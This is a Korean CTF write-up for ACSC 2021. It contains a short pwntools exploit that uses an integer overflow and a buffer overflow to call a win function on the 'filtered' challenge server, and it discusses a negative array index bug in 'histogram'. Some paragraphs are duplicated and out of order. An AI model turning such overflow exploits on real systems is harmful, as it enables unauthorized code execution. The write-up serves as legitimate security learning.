Integer Overflow가 일어나 입력받는 값의 사이즈를 매우 크게 정할 수 있으며 이를 통해 win함수를 호출해주면 끝
from pwn import *
p = remote('filtered.chal.acsc.asia', 9001)
e = ELF('./filtered')
win = 0x4011d6
payload = b"A"*280
payload += p64(win)
p.sendlineafter('Size: ', '-1')
p.sendlineafter('Data: ', payload)
p.interactive()
histogram
제일 시간을 많이 썼던 문제.
read_data에서 map의 인덱스를 -으로 만들어서 원하는 함수의 값을 overwrite하는것임을 알았지만 1.0이하의 값은 쓸수가 없었으며, NaN이라는 값을 알지 못하여 인덱스를 음수로 만들지 못해 풀지 못했던 문제.
short i, j; // short= -32768~32767
i = (short)ceil(weight / WEIGHT_STRIDE) - 1; // 여기서 음수로 인덱스를 만들 수 있다.
j = (short)ceil(height / HEIGHT_STRIDE) - 1;
map[i][j]++;
wsum[i]++;
hsum[j]++;
return 0;
weight가 1이하이면(0이거나 0.xxx) weight / WEIGHT_STRIDE의 값은 0.00~~이 되고, ceil함수를 통해(반올림하여 실수를 정수로 만듬) 0이 되며, 0-1 = -1이 되기 때문에 i,j의 값을 음수로 만들 수 있다.
ACSC(Asia Cyber Security Challenge) 2021 Writeup
PWN
filtered
아주 쉬웠던 문제이다.
Integer Overflow가 일어나 입력받는 값의 사이즈를 매우 크게 정할 수 있으며 이를 통해 win함수를 호출해주면 끝
histogram
제일 시간을 많이 썼던 문제.
read_data에서 map의 인덱스를 -으로 만들어서 원하는 함수의 값을 overwrite하는것임을 알았지만 1.0이하의 값은 쓸수가 없었으며, NaN이라는 값을 알지 못하여 인덱스를 음수로 만들지 못해 풀지 못했던 문제.
weight가 1이하이면(0이거나 0.xxx) weight / WEIGHT_STRIDE의 값은 0.00~~이 되고, ceil함수를 통해(반올림하여 실수를 정수로 만듬) 0이 되며, 0-1 = -1이 되기 때문에 i,j의 값을 음수로 만들 수 있다.
자세한 write-up은 못푼문제 카테고리를 참조
MISC
welcome
rule을 알려주는 페이지의 페이지 소스를 보면 확인 가능
'CTF-Writeup' 카테고리의 다른 글